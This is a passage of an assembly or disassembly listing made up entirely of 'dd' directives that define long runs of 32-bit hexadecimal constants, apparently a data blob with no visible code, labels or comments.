2E2B0BC3h, 61805565h, 0A568AFFEh, 37AD4A00h dd 38302CD1h, 8710187Ch, 8D6AB9C5h, 0F10C2AF4h, 0A8DEB395h dd 0DDFE400Ah, 0D3ECCD13h, 0C484A600h, 8D89Ch, 0DAB71445h dd 77AD2BE9h, 0C8DB4C00h, 95A74A43h, 8C0800FEh, 3F46B78Fh dd 59008993h, 0D2DCAC72h, 0C04BF4B3h, 9C7E1C18h, 5A2C7186h dd 191E1520h, 1A956143h, 8C0E08Eh, 72D60C9Ch, 0BA108946h dd 9BD45500h, 3647A115h dd 8AD6B05h, 0DA20570Ch, 9F267F98h, 6600526Fh, 95579DE4h dd 6B0E079Ah, 0C08C442h, 8D01BA88h, 3F4F1EF2h, 0DF8E4Bh dd 0F567CF40h, 1B6C5E3Bh, 583E36F8h, 53EC2E4Ch, 46DCAD01h dd 1EFAA80h, 17D49AC0h, 80FB77AFh, 53812D10h, 66D91h, 8E938DE3h dd 962A47B2h, 7700DCF6h, 3B720D66h, 7985615h, 1F871439h dd 0C574102Ah, 810004A2h, 8A32F46Ch, 2430E0E4h, 96435Ch dd 0DDE55D96h, 93002645h, 7ED1223Ah, 1E1BDA4Dh, 473F7803h dd 0EB3C13h, 5AFA2FD8h, 97D2E000h, 2E48B16Ch, 0BBA50098h dd 0D7CEE750h, 2F048629h, 8158EBDDh, 126A8580h, 0A9F0001h dd 65ADD693h, 2707AEC2h, 0A01D5A1Ch, 9DB6AC21h, 73C40F4h dd 9236552Ch, 120DE0AEh, 85F85AC9h, 20942E30h, 63BEBh dd 1570DE23h, 22654172h, 0A564D200h, 55B20D1Bh, 3CBDB853h dd 0BF1E07DEh, 8520C38Fh, 19008EDBh, 6670D2A0h, 20DA545Ch dd 6E008C77h, 17DD9EC1h, 3C6F4BCAh, 66802EDEh, 4772D4B7h dd 430C843Eh, 0E1C559F1h, 64578CAh, 17749DACh, 8500A086h dd 0F66B27F5h, 30F3EE07h, 3B9AB38h, 600D9D8h, 0E253C2F8h dd 19C1751h, 489A5482h, 0F8FC158Ch, 0C2000F2Ch, 418744BFh dd 8861D5h, 67E1421Eh, 8BE3A651h, 40E5FE00h, 3204050Ch dd 71FF0095h, 16C4823Ah, 0F8005BD3h, 591CF66Ch, 7B52E5D9h dd 0F690056h, 400E6B88h, 0A400B8D8h, 0A6673EE9h, 625625h dd 0B4FC5A2Ah, 0E1F2409Bh, 3423E503h, 0F8651695h, 0C0D0A573h dd 4111351h, 87EE0764h, 0B637CF0Ch, 988D18E6h, 52D83F99h dd 50F6A00h, 41EB44B0h, 9C3ED970h, 0B47806Ch, 36715081h dd 7D4EF40Dh, 407700B1h, 37FA89E9h, 0C4009060h, 0A3B2BB1Dh dd 78B52B20h, 504A0F67h, 0D9A16BACh, 9FBAF2FFh, 8CC2D278h dd 0E080479Ah, 3C46EBAh, 58ABE25Eh, 881D45ECh, 0CF5D2BB2h dd 24DE603h, 13701E06h, 0C3E900F5h, 55C542DAh, 0E4480400h dd 4C5B0A7Ch, 28BEFBCBh, 0F3C09300h, 0D8A8F03h, 0E800C774h dd 0C2BC6D4Dh, 972520h, 0AED2CBA4h, 9E5C1C55h, 12AB7D03h dd 0A051DCB8h, 3AAA988Dh, 87008CF6h, 609F670Fh, 0A00ED40h dd 15217CACh, 1F0C1283h, 40747598h, 8ACB87A6h, 40C050C2h dd 0D5142362h, 54AA3A33h, 1880E898h, 0F7935D8h, 12C54Ch dd 0CD28A64Dh, 3C47476h, 46D165FCh, 3803F977h, 4DB16D55h dd 0BE6B8A7h, 6729297Ah, 2B94002Ch, 0E4C1CE25h, 0A3E6BF00h dd 0C6AC825Fh, 99766034h, 59D1725Eh, 0C80ACA00h, 93753E45h dd 90DF6788h, 0A298C057h, 6D0C49A8h, 18AAEC52h, 0E1A90177h dd 0BC2A9364h, 0B73ACCC6h, 87A8F600h, 11BE6555h, 0A50F15ECh dd 0DC0E98A9h, 2B8E7638h, 5EA70A20h, 0A5007B4Ah, 0FE05FC52h dd 8FE8FAh, 2CC8EE97h, 4A40F213h, 0D9C13D01h, 67AF440Fh dd 0A3C2AF4h, 24E510BCh, 3A488024h, 81F4FCCBh, 0EE87C500h dd 0D474D6BBh, 15C4A00Ah, 76B9C00Eh, 0A74CB833h, 4E4AE00h dd 0E06CA4C7h, 1A210079h, 0E7A5E892h, 840008EDh, 0F223BFFEh dd 0A0F3E65Ah, 6A7AFDCh, 0A1C1AA4Ah, 0FD7150BDh, 0B81D4D28h dd 88188402h, 80155BD5h, 0F1E39BDCh, 41A33CC6h, 0A0A84200h dd 95C31617h, 405F6701h, 61C92219h, 385A52D0h, 2A0E6BB4h dd 0C560788Dh, 0CCC1A2D8h, 87C09550h, 47C01C00h, 55B8348Eh dd 0D6F0012Bh, 14F3CD89h, 9AEBF8A6h, 0A835C139h, 520094C4h dd 0D27DFCBFh, 1ED1280Fh, 0C460167Ah, 0C0A969E7h, 33381B4Dh dd 0CA0A3500h, 3ED5BF15h, 0DF1C1DD4h, 0F830CA2h, 35FE9E20h dd 1F03495Ch, 0F4C02FB0h, 8B91DDF7h, 0C7370738h, 0DE33E9F5h dd 0AD6F2540h, 0B3260A5Fh, 0D10E4652h, 0FA57E1AAh, 0F8C3724Dh dd 0E4729F8h, 3868C75Fh, 10BFA7C0h, 0B478D532h, 0B1533Fh dd 9F8D772Ah, 74346C09h, 3BA4005Eh, 43A1386Ah, 8C00D361h dd 45EF8073h, 0E83FEC8h, 0E19C10C1h, 0B2D9538Ch, 68280D00h dd 75F99D3Fh, 0B989D844h, 6914B333h, 0CE84FD63h, 0BF684264h dd 0C2E230A5h, 60334800h, 6D53CA36h, 0F6AF016Ch, 135514E4h dd 0DC85E0F3h, 83066AFAh, 47C6848Dh, 12D021D8h, 261C089h dd 0A45E4541h, 9440A56Ch, 1F5F8A73h, 0B6608018h, 0F533B150h dd 76106ECh, 1E14D537h, 41714015h, 9B1DEFA7h, 4F0CF682h dd 7E3E20B5h, 0D6376A8h, 3342F91Dh, 0B7F807F0h, 0B6F1B359h dd 0F25BEAE0h, 1BA80500h, 0D964DAD5h, 4CA0E0FCh, 4600A03Dh dd 7F97AA25h, 36030C58h, 86F84180h, 4EDB90C3h, 79D1075Eh dd 0F05F74A1h, 0B7E89D07h, 99B8EE00h, 0D89F383Dh, 2B9C1EAFh dd 262F87A2h, 0E6C6B065h, 8B072CF1h, 0E9DB7B5Ch, 0D147F30h dd 767E6CFh, 0A1E8F5A3h, 40E04051h, 7F00208Dh, 0F73F72FFh dd 0A0F8B4D0h, 1289F1h, 88EC9541h, 45C31B0Fh, 0F7006579h dd 5D4F32C0h, 51FF6BC5h, 4DF8AB61h, 7BFD989Fh, 500B00A7h dd 9228C17h, 0C0015E3h, 937DD5D3h, 1D737D4h, 0CC07F192h dd 60DA381Ch, 2807333Ch, 0A24BA653h, 3264DFE0h, 6D471E89h dd 8E0E3D1Ah, 0E7C0F737h, 13AEF8A0h, 52AC571Dh, 0AAEB7380h dd 112C70h, 0D4F6C5CAh, 747AF71Fh, 32CE9900h, 4713A28Eh dd 0F92A0051h, 60AF3B91h, 0D100A7E2h, 4C30B3D4h, 0BD1011h dd 0FD0385F5h, 0EE5A893h, 0EFD1FB00h, 720DE999h, 0F95D0050h dd 2CBCE886h, 544807E6h, 0F7017E56h, 44F2BBB7h, 0DBD84B15h dd 0E0053FDCh, 69F56300h, 829A5CEAh, 91BC025Fh, 0BEB7D800h dd 0B93B295Fh, 450081DDh, 7B787D5Dh, 0C57900AAh, 0EDFFE2B8h dd 58004694h, 1CA05706h, 1D93F96Bh, 9C1D8BE8h, 0FA794090h dd 0D3DDB382h, 7482D24h, 0C74CAB05h, 8960BF87h, 7337A101h dd 978700D6h, 0E81AD5Ah, 0B326DF31h, 6F004CBFh, 7F78C5C7h dd 0F6FE0ED0h, 0E86016F7h, 0D3C14ADFh, 8EF10400h, 5129B2D1h dd 2E961D0Bh, 6703FE5Fh, 935ED2A4h, 8353D7E8h, 21007778h dd 0E53A323Bh, 0F8747DBDh, 0C3F604B2h, 0C091B1EEh, 222BC624h dd 5FB88079h, 2F00D378h, 353D44CEh, 7A826055h, 8B02008Fh dd 0FDD8AEE0h, 8E007B9Ch, 1CA661AFh, 0C3DD86h, 7AB31066h dd 939F5395h, 6A152700h, 0B479F929h, 0D5440E2Ch, 80BF3519h dd 0A4E7F712h, 0D03A1DCh, 0CB1F71F3h, 4E3BF89Ah, 8D8B07A9h dd 0F9637410h, 0ECDFF480h, 3300962Eh, 0E53064C9h, 0B85968E8h dd 7273013Eh, 0DEF94111h, 8F0C2487h, 40001CE4h, 60A9C294h dd 0CF641Eh, 8329467Ch, 0AE9D91FBh, 0E5687F00h, 0AC618EEh dd 82A50358h, 0E497074Dh, 26A2ECC0h, 8ACDC800h, 49F0D54h dd 5B140016h, 0E4690FB3h, 0FD04835Ah, 80FE94F9h, 70C91880h dd 0C4EF0293h, 63B12132h, 9A5709C0h, 82088300h, 8847447Ah dd 3D20E9D8h, 0E10E0BBh, 0A1E774C7h, 352AC000h, 1C01D123h dd 0CD2467C4h, 22C8AD8Dh, 0CC3B0328h, 5E2BD88Eh, 0A2F6B8F8h dd 88C93F00h, 70C7822Ah, 19A81CD0h, 6EE5408Eh, 0B6AE993Ch dd 2EAEC3Ah, 0CC22773Dh, 0E7C44864h, 1C2600FCh, 93F24C0Ch dd 0DE3AA0C5h, 826307A3h, 0B0A038A1h, 689F76h, 6E08EEB1h dd 94F472DCh, 1DED5900h, 4E4B1C01h, 3346004Dh, 9C191A7Fh dd 87014540h, 7015F2DFh, 0B0241277h, 14B848B2h, 0AE3A423Ch dd 26A19F00h, 0DE17AB6Bh, 0A027E92Ch, 6AEC7F38h, 7800A070h dd 0CA65D685h, 0F28E90h, 0FF95C62Ch, 0C3402D0Fh, 6A377300h dd 0A53469A9h, 0EDF20774h, 0A3CB1AD5h, 0B2D809E9h, 381C5985h dd 5C401BB5h dd 3E29FAD2h, 0CB3B1DCDh, 0E5F78184h, 0F08757F1h, 5E00B3ACh dd 60E8E022h, 13446661h, 9F0A0h, 0EB080CCBh, 2C05017Bh dd 1EF5C90Ah, 99AFE280h, 77BB00BEh, 73E13BF7h, 0D8003686h dd 0AD595BC1h, 144352F6h, 848C6785h, 87010D39h, 76C10F93h dd 4AD9E8A5h, 953D3400h, 5FCAB7Fh, 4CE00F8h, 8061052h dd 0B0009DEDh, 4490FB30h, 146AA55h, 7AE46CF6h, 0E07EECE9h dd 5890B05Ch, 271D9805h, 0B04F8C5Ah, 80342BF1h, 8D1E5382h dd 0DC1609FFh, 94035C7Dh, 3980B163h, 0C612ED77h, 6E18C732h dd 3A8FE8h, 4907EF79h, 0ABB571Dh, 749D2602h, 46F5B914h dd 0AC2310E4h, 8CB82415h, 0BF7CF087h, 0C8C034A4h, 3D645739h dd 488376h, 0C0F0D001h, 0FC423655h, 0D4006DABh, 8904432Bh dd 0E99CD2h, 531AF43Ch, 0BD9792Eh, 2208CA00h, 0F06B1F37h dd 3C05077Ah, 5051EAD2h, 0C2EEFE72h, 7C069400h, 0B9752281h dd 627D0044h, 854E415Bh, 9100A87Eh, 1DB348B5h, 3C1F9A9Eh dd 4001956h, 6F3A05F6h, 0BD50835Bh, 54912ED0h, 2CB23900h dd 0F5A6E60h, 247BF832h, 1937C781h, 0ADECCF2h, 80641238h dd 0ABB3B815h, 0F565A1h, 22BA9D30h, 4EB0F0A6h, 6C39200Fh dd 0BCA980B7h, 61DC3Eh, 41FB5A0h, 0C7E2FC2Dh, 80EEF439h dd 2B7E51C8h, 6F3DEDh, 69338F30h, 0C1585A90h, 0EE3E39h dd 787299C4h, 0F638B184h, 83742441h, 36980024h, 6BB5D750h dd 0EE9DFE02h, 40E09B9Eh, 0F449630Ch, 0BD6238B8h, 0E607DDBFh dd 91E7C0h, 216E6BC3h, 5FF27278h, 800CD7Eh, 1DFE6362h dd 9AD4B013h, 0A11103ACh, 0C0D3CD1Ch, 0E4EB53F8h, 92EE53Bh dd 9894A99Ah, 0BE549Ch, 0F208CBC5h, 0E81C5BBBh, 3189048h dd 31FF9284h, 808FB35Dh, 0EB11Ah, 0AD37B323h, 7B9BFDD7h dd 0DC09C304h, 0E8CC295Eh, 3BF50B49h, 69871070h, 8128B2D4h dd 863CBC60h, 80B1F038h, 212AE503h, 0A87747A9h, 0FB678Ch dd 0ED6BFF57h, 0DA3BD087h, 7D149700h, 0C6C58911h, 63CE0BF6h dd 350043F7h, 93C10DEDh, 0FA0045E4h, 85619FBBh, 0A3E37Ah dd 4DCFC52Ah, 210594Eh, 79524000h, 0BAC087C1h, 91200F8h dd 413BAEFBh, 4F1460BFh, 0CA22D1h, 72B411C8h, 3CA827CEh dd 73806820h, 0B161569Ch, 0D400B59Fh, 0E982D165h, 7A30ADAh dd 0F8641F14h, 3BD31075h, 7C039143h, 168F33E5h, 0BE81F849h dd 29740734h, 0D3D53858h, 0D8003EF6h, 5BC33C13h, 1CCCB88Eh dd 0E4F382B9h, 27620070h, 0E8FEC535h, 302D8A7h, 805E4318h dd 0CA0649ACh, 2B9400A0h, 0ABC3B8Bh, 1CEEB6A8h, 0A419F328h dd 590BFA17h, 321BE81Fh, 43E8E889h, 0B822006Dh, 756534EBh dd 26008A4Ah, 0F3021ADBh, 7A6159Ah, 13A9CE6Eh, 4FCCA1EDh dd 0F0D05CF2h, 7757F00h, 0FC1FA5C4h, 0C90E001Dh, 0CD34C8CCh dd 6000C277h, 8E2717BBh, 7425E218h, 0BC3E4AE4h, 897A3823h dd 808029B4h, 3BF9CA61h, 0B0A20F5Eh, 0C240F173h, 6972F685h dd 0C0B4EE0Eh, 906E00D6h, 1DE8A471h, 0DC7DFC2Eh, 38BBC5ABh dd 57008C0Ah, 1FF00D00h, 0DD3D6580h, 9C78005Fh, 61794B34h dd 4E091351h, 1D6AFA5h, 56722BA0h, 0A1A01C00h, 7423300Ch dd 68FF51EDh, 0B8AC81h, 94F6733Dh, 62008886h, 0E893EE4Fh dd 0FAD04DAh, 2B0C36F9h, 4090E187h, 5D4CFBCCh, 79457507h dd 5895FA9Eh, 443AC400h, 2EC671B1h, 9FD4BF6Ch, 0FB4F00A0h dd 9D90FC2Ch, 1E415602h, 40B1E8DFh, 580500h, 0F5D17FD3h dd 592BAA0Fh, 0F200FB7Bh, 0BF060771h, 1B7ED8Ch, 3AC91C85h dd 246A902Fh, 0D7484FA8h, 7798128Bh, 90BEDC09h, 480106A0h dd 9201ECAEh, 41968A59h, 0F1D8FCA6h, 0F9BF0900h, 1C6E676Ah dd 0BB3A0153h, 0FD7669B8h, 62DC2088h, 0E15D7000h, 1B10C114h dd 13BF0096h, 0AD5EE802h, 0D079334h, 1936DF82h, 31306A20h dd 0B1771A6h, 1B94558Eh, 92B30F00h, 9107F750h, 47142C5Ah dd 988DD480h, 469A00F4h, 0EA4C208Ah, 25FE5CF2h, 0DAF31101h dd 0A8E635EDh, 392C1EBAh, 0CE710031h, 0F8B23DFDh, 81F98600h dd 7B0DE763h, 0D80500D1h, 0CE2012AFh, 0F304C843h, 2C574F1Bh dd 7840A4C7h, 9B0B7Ah, 0B83D3FEDh, 0B217A3C4h, 0A6C97202h dd 40C2C555h, 378A62h, 0EFD6AD9Ah, 0D740310Dh, 0F9DC20FBh dd 28C5101h, 2C6AF043h, 961B70h, 23C82D31h, 2FFC0D14h dd 0CB04FF00h, 0D1EA7B73h, 0F4B30F76h, 7440CFDBh, 0EB4675B6h dd 0DFF5D507h, 0EDB02BAFh, 0EC5A8C4Eh, 8410242Dh, 6B010C66h dd 31003970h, 4290EA16h, 2A211541h, 710DC79h, 0D161EABh dd 7E6AA086h, 0C2002A91h, 95F00BDEh, 20CCABF1h, 94380AB0h dd 8D3960B9h, 0BED904h, 59E28983h, 881C9E1h, 0ACF0F81Ch dd 0E51F7700h, 9C2BADh, 6F0F91B7h, 0E2E0661Bh, 212E44B2h dd 5C1908D4h, 0ADCC2B50h, 0E18903BBh, 0FB6C25D9h, 20012970h dd 19F5E938h, 0C406730h, 31CDF7E8h, 8988D48Fh, 2668D041h dd 0F4DC7E14h, 13AB1554h, 92960070h, 8D4E222Ah, 2F5B3B3Dh dd 0E5CC2800h, 95321BAFh, 21503000h, 0B9F9AC3Ah, 4F2526C9h dd 71F074Ah, 0F1388099h, 28014A0Fh, 44D851F2h, 9050EB49h dd 0A8B696h, 0FB94752Eh, 0C53F4ED6h, 0B92A51Dh, 0E96C5D40h dd 3A1CEBB6h, 98393E17h, 0DB9B6580h, 2A345FF1h, 0FE8E4E11h dd 0C760A409h, 9BEF3840h, 59E55106h, 1E21DD24h, 40EB89A2h dd 2726AF74h, 0E0F03A91h, 0EAA04E02h, 40AABB30h, 1355800h dd 0DACED93h, 0D1DFF7C7h, 0AF8BE8D7h, 9404F92Ah, 0E25813Ch dd 0A092E8A6h, 96F54705h, 0A02058CDh, 96A7F00h, 5AAAA7EAh dd 5F801261h, 0E74E21h, 7F75E8A0h, 67F074CFh, 7BFEBC01h dd 0D9FCEF3Ah, 0FEE40E8h, 0E7AF88C8h, 584BB342h, 138EC080h dd 120C01FAh, 8868BC38h, 0E3103D8h, 5E23D2AEh, 16C06900h dd 7C22DE3Fh, 1DC7799Eh, 0BD91AA3Ah, 93015385h, 0A1EE80CBh dd 4600F674h, 0D5A8D057h, 60DE78h, 5E2A4086h, 8E8D89EBh dd 349DA507h, 1BB04EB8h, 0D61DF8h, 897FE2C9h, 0B46E1A8h dd 0F78F2500h, 227DFD14h, 8D7526h, 0C7DB8C1Fh, 83DEFC1Bh dd 2B52EA00h, 18A2F7A9h, 60106060h, 6BC936AEh, 35FFD01h dd 0C3B7F5Dh, 0C0F1CBD0h, 0C9383520h, 0A200321Eh, 83F61CDDh dd 482A82D7h, 0B53FA507h, 56C43603h, 0B0001146h, 204028F7h dd 382358D3h, 0EF03EDB6h, 22D756BFh, 0E23BA800h, 32850B1h dd 0FC4B0107h, 0D7706A46h, 0EADFF869h, 0D97D210Bh, 71E907AFh dd 0B9CE4CC0h, 0F40E30AAh, 4490AD40h, 37B7F917h, 18E23D00h dd 553A94h, 0B83B02CEh, 5D23470Ah, 56299200h, 2EF1C5EEh dd 96F28A8h, 0EC580084h, 0EB159EB2h, 955C78BDh, 0D3CF0036h dd 0D7E924EDh, 0E5D5382Dh, 7AEE4E81h, 0E819052Eh, 3913B8FFh dd 400AF27h, 981AAB46h, 0D94E1783h, 682E00F9h, 10A099F5h dd 82CBD600h, 0D026F418h, 1307F2EDh, 0A8DA7Ch, 7A2BA970h dd 0FF1C32D6h, 0E0C05CFDh, 0CB3AB186h, 0C6CC0004h, 0A2B4DFAFh dd 0C01CD11Ch, 9880D547h, 4A6B2C59h, 66FF0716h, 9039F654h dd 0EBAD0C1Eh, 0E01EEB8h, 0B7870BF5h, 43D6E6A9h, 0B08EE364h dd 4917FFh, 0AA3E2E5Eh, 8C10D1ADh, 0C97AC202h, 0C0ECF35Fh dd 14EBAC49h, 64972384h, 0C4A18800h, 0F4C13977h, 0E622AB00h dd 0D44DC914h, 29630126h, 0DE537D16h, 0AACAC8C4h, 996939C0h dd 238554h, 6708F1E3h, 44098EE4h, 429BD101h, 5DA24B91h dd 0C2BDCC0h, 0C5AE3989h dd 4D72617Eh, 0AE98E01h, 64E63A6Bh, 550F9440h, 0CD17B52h dd 0A175F62Dh, 20E38A68h, 24004F74h, 43DF255Ah, 0DA5906h dd 0D46EB3B9h, 88B43414h, 0C0D37200h, 73BFF098h, 80C40015h dd 0D01B873Ah, 0B2002775h, 9B881368h, 637262h, 46D2172Eh dd 0BEE47F97h, 0B8254A3Fh, 2AB900F6h, 0A5DC4CDDh, 36A00046h dd 0EAD85EE5h, 0F700F112h, 1163F02Bh, 0E698D93h, 0F42167F2h dd 6E1DDA60h, 0D43A9BF5h, 0D22B0032h, 0AD0BB166h, 70430655h dd 84013AFh, 20FA6B30h, 0F0A406h, 3859C494h, 13439EB8h dd 634D6C00h, 0FA832BC2h, 3DE70E8h, 393CFE85h, 181D2809h dd 398890Ah, 0D74669h, 0BDFC2133h, 0C06F1DE5h, 0DB037B7Eh dd 0B327BC6Ah, 48F6B0h, 46E3E77Dh, 0FFC56CF7h, 500E8F8h dd 0A36856E0h, 71A2F29h, 0DF8C6270h, 0BD60506Ch, 7E00E21Dh dd 0F9C4B537h, 0F287874h, 6F1CA392h, 0D611EA40h, 0F5EA95A4h dd 61BF0801h, 165C3D86h, 81A170h, 0C5986C4Fh, 8EB7C939h dd 66321D00h, 1CF01E4Bh, 0F58201E1h, 0D2274C2Ch, 0A440D47Bh dd 0C2C7810Eh, 0C0700FCBh, 0F3243BCh, 425C00F0h, 0B3A82DB4h dd 0B724C0D8h, 80187172h, 0D3F908h, 0B5CDB44Fh, 446C9DBCh dd 9DB6DD3Ah, 70800CE4h, 3CE2E83Fh, 35B70095h, 671BCCEEh dd 7F0F2CC2h, 0E05F0D8Bh, 0AA4E1E92h, 0B170880h, 0FB0D78A2h dd 79C82067h, 6DF81C22h, 9B0181ACh, 0F9FF779Fh, 4F854068h dd 0B700076Eh, 43A6F7ABh, 0FE4CD442h, 7F5B0117h, 21464912h dd 3A4D06Dh, 0B3A730C0h, 10900Fh, 6B9EC001h, 2C69D5DBh dd 17CF5F01h, 0CACCED35h, 7C2785F0h, 0B459C0A7h, 0FB93FC4h dd 958CDE54h, 0A5ADD4A0h, 0B05FEF03h, 80DFDC8h, 8C765D90h dd 0A12B1640h, 8BEF104Fh, 21818C3Fh, 0F5A0025h, 0C3E1F3C2h dd 0C907AA19h, 1A0291A3h, 0FD7B3303h, 872D2082h, 67803FCCh dd 0B02CA4BFh, 8E8F01D6h, 84EC4D42h, 20FBDC1Fh, 0D22DE100h dd 0B2E0251Eh, 829100BEh, 47DE1559h, 110037D7h, 918636Ah dd 2CD19BACh, 0B167AFh, 0CF0F6C4Ah, 88077B04h, 5ECD7E74h dd 9FB36810h, 0FDF70072h, 0F599D41Dh, 0CC028843h, 682EC1EAh dd 57B1400Ah, 7DDE00CFh, 0E135E0B4h, 0BE1CAD81h, 9600DB6Dh dd 0A3067C63h, 0F693B8B1h, 70A2390Ch, 0E9652E87h, 80B3B02Fh dd 45B06F8Ah, 5A4D0500h, 1F0294DEh, 0CE9A00C6h, 6D8C7D1Ch dd 0DC0003F6h, 9F5BDAE4h, 3860915Ch, 44801FA0h, 3F5FB7C1h dd 0F4001485h, 0F2B5FD73h, 17C96A6h, 0FAC079DCh, 0ECA2844Dh dd 82003F44h, 53147F2Bh, 7271A9h, 0F3CA5286h, 6CE5B497h dd 4F7AA000h, 44651A76h, 0DE3A0158h, 0DF79C61Ch, 0B782D020h dd 0A8BF3201h, 2B1EA2E8h, 7EADFB70h, 2E570321h, 5EEFEB36h dd 0ACA601C0h, 1001E4B8h, 284AE89Eh, 26F1CE9Bh, 51614880h dd 0DE2A56D3h, 44001D70h, 0DFECD36h, 24326h, 32C6B0FBh dd 0BB2DD5FDh, 6EAA4A00h, 0E53C970h, 4160002Ch, 86BA63ECh dd 8100D8B4h, 4E2683E1h, 60B3505Dh, 36ED2062h, 0DA3C7A1Ch dd 0BE768461h, 0C1808682h, 0D31567h, 0F7970E2Eh, 409385EAh dd 0D2537507h, 0DEC03072h, 1F62F432h, 4EEA434Fh, 60A0E638h dd 14B46561h, 803ECC01h, 89090E58h, 0C2FCD0h, 6D43602Fh dd 0F24E1A30h, 9ECEA500h, 0D11EC183h, 0CA30134h, 931CFF10h dd 6480EA6Bh, 155BA243h, 11FD1337h, 88B7E700h, 0EE2906EAh dd 8017672h, 3D216560h, 87B74Dh, 6DB4A915h, 0B2D711D6h dd 1FF5E00Ch, 218F502Ch, 3900FC44h, 0D8478860h, 227C42C6h dd 0E4AB00BFh, 7CB53B7h, 0AF03C5FFh, 75384B42h, 29F90046h dd 5E4C5208h, 6F0A12DAh, 5C3BD4EFh, 3CA465Ch, 23B42AA2h dd 3789D09Fh, 19170E12h, 45202FDDh, 0C63542A5h, 0C9304900h dd 17CEDA70h, 0FDD200C3h, 630F1553h, 0A900CFEBh, 865526D0h dd 1DBCCDAEh, 42E4E62Dh, 6FFD1E1Ch, 40A31461h, 0A8DC22D5h dd 8AF7B00h, 256790F9h, 0B0BC0019h, 2D359C57h, 55B01E65h dd 0F385FC00h, 0F6B5BEF5h, 0A51201D8h, 0C6EEB649h, 1565D8E7h dd 1B634F00h, 89393125h, 5A7100DFh, 0F85BA370h, 0E3E6BEEh dd 0A25600EFh, 0DB3D8C12h, 7751017Ah, 0C5FA6E2Bh, 0E176603Fh dd 78EED3Dh, 0CBDA1E2h, 0DE3C5AE0h, 0C15F869h, 83167322h dd 0B7038E11h, 78A0CF6Dh, 2790C0D5h, 7AC500BFh, 94426114h dd 0AC98EC2Fh, 0EA6B9700h, 0C66A9695h, 9BB00DEh, 0D5476478h dd 741E0D45h, 0BA1922h, 2A1290F0h, 0CFD981h, 0D3A8040Ch dd 19F44942h, 0F8001A7Dh, 396FDCA7h, 756951Bh, 5C9EEC9Ch dd 0B60D60D9h, 0BC2C3778h, 921EB3C6h, 304B3340h, 0EEDFEE4h dd 0D67B7738h, 6EDBF740h, 0AD005AB3h, 0EBBB6B82h, 4827C5h dd 7F7B6034h, 0AA5212A1h, 7500B498h, 0B420ED81h, 731A22h dd 0E2BC8ACEh, 792E454Eh, 47099500h, 51D8AD3Eh, 883500DCh dd 3C6A69FFh, 0ED5A27A6h, 93034EACh, 0BDEB8DE4h, 38B74D8h dd 2A3A1A00h, 1037DBDCh, 41930053h, 0F372FD0Bh, 7CE425A9h dd 0D7A42700h, 60AC2E9Dh, 5A090017h, 6646F06Dh, 0B2003085h dd 0F85DC0FCh, 0FBEFCFh, 611123DCh, 60076501h, 341C9B1Eh dd 15D8A800h, 0D44329h, 276EEB0Fh, 95022211h, 5B90C67Bh dd 0B19FD07h, 9001238h, 8CDCBAh, 0EEC4DED5h, 428B55C1h dd 0F6F0C48h, 277A25FFh, 3757C252h, 0CD92F160h, 61E907A9h dd 0F072BA5Bh, 863CD818h, 0F9F5D501h, 6B842C29h, 7463C8h dd 83758E2Dh, 0E91C65FCh, 4A95E800h, 0AA26DA08h, 19910285h dd 92D4A486h, 2271A40h, 0DFCF2F03h, 1D3ABC2Eh, 1E70E28h dd 6F2C861Ah, 844B0091h, 0DFC61EBFh, 0DB96C0D9h, 9370D226h dd 0F1D150CFh, 0BD14EF0Ch, 10E99E28h, 0C2D506D6h, 63494150h dd 2ACB9301h, 5690788Ch, 30317A29h, 6C83509Ch, 14977994h dd 1FE42C0Ch, 0E5445EA0h, 0F65C2017h, 0C95BFB30h, 0D7CD995h dd 0B6226C8h, 0F3C6EC79h, 64401F81h, 0C67EC087h, 7808E628h dd 0A1E6987Fh, 0D2222260h, 0F8EDCE84h, 0FAEF009Bh, 6AAD3BDCh dd 0FCF74323h, 0D3389A02h, 0F6FC808Bh, 0B692A0A1h, 7D0D0F79h dd 18C36E4Ah, 3BA04C1Eh, 0A200F8C3h, 0B985C683h, 0DD2CD4h dd 0BFDA1CE4h, 0B0CCE10h, 303CA900h, 70311289h, 0C3C800A8h dd 9CA6304h, 0DA02208Ch, 0E865F69Eh, 0BC2CC06Bh, 13E4CCh dd 867C0FEh, 0A5C2539Dh, 3F98F600h, 64434B89h, 5EB704AEh dd 80732174h, 0D129C4B8h, 67886C00h, 0FB4D9312h, 5B160094h dd 0EC61F1A5h, 86003E9Dh, 55323BB9h, 0EC39F26h, 81279330h dd 8DA5EBC0h, 0DBA02903h, 600DB9Bh, 73A72C55h, 791F89h dd 36ABCFBAh, 0D3FE2E7Ch, 0CE003076h, 0ECB35958h, 0DDEEAEh dd 6A44BC0Fh, 0FB611CA7h, 69C12700h, 924EAC20h, 0EF040050h dd 54B96403h, 0F5003DE3h, 1A5BE114h, 572184h, 0A7018C04h dd 2A434563h, 8D546600h, 2E8628EAh, 0A68F0053h, 0E4F9AFF5h dd 0AD0133CEh, 0DA7F27C3h, 994041F0h, 1ABCA79h, 0F78A2E6Eh dd 9C37C121h, 7AC0B030h, 0F5CBCF3h, 0E1FB0001h, 19FC9D97h dd 0CA00E43Ch, 0BFAC2718h, 129D67Fh, 0B3624236h, 60BD02D5h dd 9300E03Eh, 0D8E53989h, 1F31AE1h, 52487704h, 0C82C1667h dd 0F20053EDh, 0F9077A1Fh, 3FD971h, 1DCC3751h, 0E49404FBh dd 5B01A21Fh, 0C697F45Fh, 62BF7700h, 35223DAEh, 8AE910h dd 0F31484F0h, 0A500E528h, 89C076F2h, 12293568h, 1E9C891h dd 72674440h, 0F4A1E9D7h dd 0F2EE4FA3h, 372DD00Bh, 0B80E01E2h, 0E1F807D4h, 34D756Ah dd 206BE382h, 0F1A03ED8h, 841744E4h, 0D101912Fh, 0A97CA6E7h dd 0C697D8h, 55A23996h, 0A7319A1Fh, 7F155F00h, 0BD859B54h dd 0B4F40070h, 58282FA9h, 82EEC189h, 4E48D900h, 25F52EFCh dd 392C00CAh, 5DB9287Dh, 0AC0996D7h, 802A1608h, 0D3024BD6h dd 0ECCA0066h, 71B56839h, 9D00CD0Eh, 8E25EBE7h, 0F5F722h dd 4B2ACA6Ah, 0E91805Dh, 41239F09h, 0BF5C045Ch, 4320B818h dd 0BCDC8B16h, 4288A100h, 0DACEFAh, 59CDB2Fh, 0F8C5B714h dd 4B00D9E4h, 86A9EB0Ch, 0CD9D22h, 41C32CF0h, 48F3951Fh dd 44005872h, 16D85ACCh, 65DF25h, 9A43103h, 0D973EC3Ah dd 0F8A5990Eh, 0FD54281h, 0D8CA404Ch, 0C64B00FFh, 0A268D3C0h dd 42006B7Ah, 0A70FC9F7h, 1F38AE9h, 0D4E19B13h, 0E874257Ch dd 0B80F732Fh, 80426D43h, 